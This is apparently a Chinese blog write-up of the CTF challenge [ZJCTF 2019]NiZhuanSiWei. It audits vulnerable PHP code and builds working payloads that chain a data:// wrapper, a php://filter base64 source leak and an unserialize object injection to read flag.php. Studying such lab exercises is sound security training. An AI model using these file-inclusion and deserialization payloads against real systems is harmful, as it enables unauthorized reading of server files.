[ZJCTF 2019]NiZhuanSiWei
进入页面便是代码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
代码审计
file_get_contents($text,'r') === "welcome to the zjctf" 会读取 $text 指向的内容并比较。这里第二个参数 'r' 不是文件打开模式,而是 use_include_path 布尔参数;非空字符串会被当成 true。
file_get_contents可以用到伪协议
这一步实际使用的是 data:// 包装器,和 php://input 没有直接关系;原来关于 multipart/form-data 的说明与本题利用链无关。
构造payload
?text=data:text/plain,welcome to the zjctf
preg_match("/flag/",$file)file不能包含flag
include($file); //useless.php包含文件
payload
?file=php://filter/read=convert.base64-encode/resoure=useless.php
payload
?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码的
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
$password = unserialize($password);反序列化函数
将上面一个类序列化
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后ctrl+U查看flag
评论将在接近此处时加载,也可点击立即加载。